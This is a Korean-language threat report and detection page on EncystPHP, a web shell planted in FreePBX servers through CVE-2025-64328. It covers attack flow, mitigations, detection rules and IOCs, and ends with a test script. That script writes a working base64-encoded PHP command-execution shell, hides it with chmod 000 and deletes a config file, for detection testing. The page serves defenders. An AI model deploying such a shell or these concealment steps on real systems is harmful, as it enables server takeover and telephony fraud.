EncystPHP: 지속적인 관리자 위협을 위한 무기화된 FreePBX 웹 셸
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
FortiGuard Labs가 PHP 웹 셸을 보고함 EncystPHP FreePBX 인스턴스에 노출된 취약성을 악용하여 배포 CVE-2025-64328. 이 임플란트는 원격 명령 실행을 가능하게 하고, 특권 사용자를 마련하며, cron 작업 및 후속 드로퍼를 통해 계층적 지속성을 설정합니다. 이 활동은 INJ3CTOR3 팀과 연결되어 있으며 통신 환경을 대상으로 하는 것으로 보입니다. 발표된 지표에는 악성 IP, 도메인, URL 및 여러 적대적 파일 경로가 포함됩니다.
조사
조사자들은 FreePBX Endpoint Manager의 인증 후 명령 삽입 취약점에서 초기 접근을 추적했습니다. 공격이 성공한 후 운영자는 45.234.176.202에서 드로퍼를 가져오고 주요 PHP 구성요소의 권한을 완화하며, 데이터베이스 자격 증명을 추출하고, 루트 수준의 계정을 생성하며, 공격자가 제어하는 SSH 키를 추가합니다. 지속성은 cron 항목을 통해 추가 드로퍼를 반복적으로 가져오고 아티팩트를 새로 고침하여 강화됩니다. EncystPHP는 또한 합법적인 FreePBX 파일을 가장하고 시간 스탬프를 조작하여 정기적인 트라이애지 동안 가시성을 줄입니다.
완화 정책
FreePBX Endpoint Manager에 대한 CVE-2025-64328 (및 관련 수정 사항)을 가능한 빨리 패치하십시오. 무단 웹 셸 파일, 의심스러운 cron 일정 및 새로 생성된 특권 로컬 사용자를 사냥하세요. 알려진 악성 인프라에 대한 아웃바운드 HTTP를 차단하고 웹 인터페이스 디렉토리 및 PHP 자산에 대해 엄격한 최소 권한을 적용하십시오.
대응 조치
탐지되면 영향을 받은 PBX 서버를 격리하고, EncystPHP 아티팩트를 제거하며, 무단 cron 작업을 삭제하고, 로컬 계정 및 SSH 키를 재설정하십시오. 변경 범위를 규명하기 위해 로그 및 구성 백업을 검토한 후 최신 보안 업데이트를 적용하고 웹 인터페이스를 강화하십시오. 정상적인 전화 업무를 복원하기 전에 보조 드로퍼 또는 지속성 메커니즘이 남아있지 않음을 확인하십시오.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>액션</b> – <b>T1190 공개된 애플리케이션 악용</b><br/>FreePBX 엔드포인트 매니저 CVE-2025-64328 악용”] class initial_access action tool_wget[“<b>도구</b> – <b>이름</b>: wget<br/><b>설명</b>: HTTP를 통해 파일 다운로드”] class tool_wget tool process_shell[“<b>프로세스</b> – <b>T1059.004 명령 및 스크립트 인터프리터: Unix 셸</b><br/>Base64로 디코딩된 bash 스크립트 c, k.php, test.sh”] class process_shell process file_c[“<b>파일</b> – c (bash 스크립트)”] class file_c file file_kphp[“<b>파일</b> – k.php (PHP 드로퍼)”] class file_kphp file file_testsh[“<b>파일</b> – test.sh (bash 스크립트)”] class file_testsh file credential_access[“<b>액션</b> – <b>T1003 운영 체제 자격 증명 덤핑</b><br/>/etc/freepbx.conf에서 데이터베이스 자격 증명 수집”] class credential_access action file_freepbxconf[“<b>파일</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>액션</b> – <b>T1068 권한 상승을 위한 악용</b>”] class priv_esc_exploit action account_create[“<b>액션</b> – <b>T1136.001 계정 생성: 로컬 계정</b><br/>사전 설정된 비밀번호 해시를 가진 root 수준 사용자 newfpbx 생성”] class account_create action persistence_webshell[“<b>액션</b> – <b>T1505.003 서버 소프트웨어 구성 요소: 웹 셸</b><br/>EncystPHP를 ajax.php 및 config.php로 위장하여 배포”] class persistence_webshell action file_ajaxphp[“<b>파일</b> – ajax.php (웹 셸)”] class file_ajaxphp file file_configphp[“<b>파일</b> – config.php (웹 셸)”] class file_configphp file persistence_cron[“<b>액션</b> – <b>T1053.003 예약된 작업/잡: Cron</b><br/>매분 k.php를 다운로드하고 실행하는 cron 작업 설치”] class persistence_cron action defense_perm_mod[“<b>액션</b> – <b>T1222.002 파일 및 디렉터리 권한 수정: Linux</b><br/>파일 권한을 000으로 설정하고 타임스탬프 위조”] class defense_perm_mod action defense_masquerade[“<b>액션</b> – <b>T1036.005 위장</b><br/>정상적으로 보이는 위치에 셸 배치”] class defense_masquerade action defense_indicator_removal[“<b>액션</b> – <b>T1070.004 파일 삭제</b> 및 <b>T1070.006 타임스탬프 조작</b><br/>로그와 cron 항목 삭제, 파일 타임스탬프 일치”] class defense_indicator_removal action lateral_movement_ssh[“<b>액션</b> – <b>T1021.004 원격 서비스: SSH</b> 및 <b>T1098.004 SSH 인증 키</b><br/>공격자의 공개 키를 authorized_keys에 삽입”] class lateral_movement_ssh action command_and_control[“<b>액션</b> – <b>T1105 침투 도구 전송</b> 및 <b>T1071.001 애플리케이션 계층 프로토콜: 웹 프로토콜</b><br/>wget을 사용하여 45.234.176.202에서 드로퍼 수신”] class command_and_control action impact_hijack[“<b>액션</b> – <b>T1496 리소스 하이재킹</b><br/>PBX를 사용하여 무단 외부 통화 수행”] class impact_hijack action defense_impair[“<b>액션</b> – <b>T1562.001 방어 기능 저해</b> 및 <b>T1548 권한 상승 제어 메커니즘 악용</b><br/>오류 보고를 비활성화하고 관리자 컨텍스트에서 시스템 변경 수행”] class defense_impair action %% Edges initial_access –>|사용| tool_wget tool_wget –>|다운로드| file_c tool_wget –>|다운로드| file_kphp tool_wget –>|다운로드| file_testsh initial_access –>|연결됨| process_shell process_shell –>|실행| file_c process_shell –>|실행| file_kphp process_shell –>|실행| file_testsh process_shell –>|연결됨| credential_access credential_access –>|읽기| file_freepbxconf credential_access –>|활성화| priv_esc_exploit priv_esc_exploit –>|활성화| account_create account_create –>|활성화| persistence_webshell persistence_webshell –>|생성| file_ajaxphp persistence_webshell –>|생성| file_configphp persistence_webshell –>|활성화| persistence_cron persistence_cron –>|생성| file_kphp persistence_cron –>|사용| tool_wget persistence_cron –>|설정| defense_perm_mod defense_perm_mod –>|지원| defense_masquerade defense_masquerade –>|지원| defense_indicator_removal persistence_webshell –>|지원| lateral_movement_ssh lateral_movement_ssh –>|활성화| command_and_control command_and_control –>|제공| impact_hijack command_and_control –>|지원| defense_impair
공격 흐름
탐지
지속성을 위한 새로운 계정이 생성될 수 있음 [Linux] (명령줄을 통해)
보기
크론 파일이 생성되었습니다 (파일 이벤트 경유)
보기
의심스러운 폴더로 다운로드 (명령줄을 통해)
보기
SSH 알려진 호스트 검색 시도 가능 [MacOS] (명령줄을 통해)
보기
Base64 인코딩된 문자열 조작 가능성 (명령줄을 통해)
보기
탐지를 위한 IOC(대상 IP): 무기화된 웹 셸 EncystPHP 노출: 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
탐지를 위한 IOC(해시 SHA256) Unveiling the Weaponized Web Shell EncystPHP 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
탐지를 위한 IOC(소스 IP): 무기화된 웹 셸 EncystPHP 노출: 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
k.php 및 c 드로퍼의 지속적 다운로드를 위한 crontab 항목 감지 [Linux 프로세스 생성]
보기
EncystPHP 웹 셸 배포 및 지속성 CVE-2025-64328 [Linux 프로세스 생성]
보기
FreePBX에서 EncystPHP 웹 셸 활동 탐지 [Linux 파일 이벤트]
보기
시뮬레이션 실행
전제 조건: 원격 감시 및 기준선 예비 점검이 통과되어야 합니다.
합리적 판단: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대적 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영하고 탐지 논리에 의해 예상되는 정확한 원격 감시를 생성하는 것을 목표로 해야 합니다.
-
공격 서술 및 명령:
- EncystPHP 웹 셸 업로드 – 공격자는 Base64로 인코딩된 PHP 페이로드를 만들어 FreePBX 웹 UI를 통해 HTTP POST로 전달하여 파일을 생성합니다
ajax.php/var/www/html/admin/views/ajax.php 에쓰기. - 제한적인 권한 설정 – 배포 직후, 공격자는
chmod 000 ajax.php를 실행하여 셸을 일반 사용자에게 숨기고 웹 서버의 특권 계정 하에서 실행하도록 강제합니다 (T1222.002). - 중요한 설정 삭제 – 탐지를 방해하고 시스템이 악성 셸로 리로드되도록 강제하기 위해, 공격자는
/etc/freepbx.conf를 제거합니다 (T1070.004, T1562.001). - 셸 트리거 – 새로 생 성된
ajax.php에 대한 간단한 HTTP GET이 페이로드를 실행하고, 역셸을 설정합니다 (T1105, T1059.004).
- EncystPHP 웹 셸 업로드 – 공격자는 Base64로 인코딩된 PHP 페이로드를 만들어 FreePBX 웹 UI를 통해 HTTP POST로 전달하여 파일을 생성합니다
-
회귀 테스트 스크립트: 스크립트는 프로덕션 시스템에 영향을 주지 않도록 제어된 테스트 디렉토리 (
/tmp/freepbx_test)에서 1-3 단계를 재현합니다.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
정리 명령:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "테스트 환경이 정리되었습니다."